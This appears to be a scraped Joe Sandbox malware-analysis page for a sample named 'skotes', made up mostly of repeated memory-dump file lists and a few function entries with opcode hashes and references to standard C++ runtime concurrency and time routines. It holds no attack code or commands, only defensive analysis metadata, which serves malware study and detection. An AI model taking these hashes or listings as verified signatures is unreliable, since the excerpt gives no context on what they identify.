Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: b6824e53c6822e977e3279290ec43913762bf8d281dadb5bda5e4c03be192b9b
Instruction ID: 3df39978ed2386050c828931cd6317a83cbbb731411f43f5def27079bd0d7eef
Opcode Fuzzy Hash: b6824e53c6822e977e3279290ec43913762bf8d281dadb5bda5e4c03be192b9b
Instruction Fuzzy Hash: CA410274604310ABDF1AEB24D886FBEBBB5AF55710F04409DE5069B3C2CB70AE45CB91

Function 001956AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 001956F2
_InternalDeleteHelper.LIBCONCRT ref: 00195726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0019578B
SafeRWList.LIBCONCRT ref: 0019579A

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 8f3f794c70541fe9464a0cf8371b03f7092f224db0879eb6723d3f5f67499196
Instruction ID: b9b06612fd4f1fa786f46c3d61182bf941b630c94a9daee448c48460d0e0fc8d
Opcode Fuzzy Hash: 8f3f794c70541fe9464a0cf8371b03f7092f224db0879eb6723d3f5f67499196
Instruction Fuzzy Hash: 98315736B00610CFCF0A9F60D885EAD77A6EF88750F184179E90AAF395DF30AD058B90

Function 00192CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00192D0F

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 4b13bb7022eab67b0e71da31603bc34966435aee4405380d5c418d298ddddf51
Instruction ID: a7104b5266823e6bb53792e0c2143b7b89beccfc6ca182716f0afc3de26c62d7
Opcode Fuzzy Hash: 4b13bb7022eab67b0e71da31603bc34966435aee4405380d5c418d298ddddf51
Instruction Fuzzy Hash: 3F312775A00309EFCF14DF94C8C0BAEBBB9BF55314F1404AAE905AB346D770AA45DBA1

Function 001A13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001A13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 001A1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 001A147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 001A152A

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 8dda19e3964e10ab92617699f48a3f7790c6b9ed014570c9142bdc95835dcfdd
Instruction ID: c6ff45cf9e14fb1b9772498f4cea7e3e473f3ce1bad7dc0b84f9b8a78d368c30
Opcode Fuzzy Hash: 8dda19e3964e10ab92617699f48a3f7790c6b9ed014570c9142bdc95835dcfdd
Instruction Fuzzy Hash: 96316375E00605AFCF14EFA8C4919EDFBB6BF59710B14822DE425A7381CB34AE41CB90

Function 0018BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0018BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0018BBE4
_xtime_get.LIBCPMT ref: 0018BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0018BC13

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 6a82d4e840a002d74d987be95f27e6ad3e258dcabc5410723ffc5491f11b70e1
Instruction ID: c460025e69c6dd4c0137889d2fcddb4f338e8a3e4e255b3496db45c22c27a85b
Opcode Fuzzy Hash: 6a82d4e840a002d74d987be95f27e6ad3e258dcabc5410723ffc5491f11b70e1
Instruction Fuzzy Hash: 0B211B71A00119AFDF01EBA4D8819BEBBB9EF18710F100025FA05A7261DB309E419FA0

Function 00199C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00199C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00199CE8
std::bad_exception::bad_exception.LIBCMT ref: 00199CFE
std::bad_exception::bad_exception.LIBCMT ref: 00199D6A

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
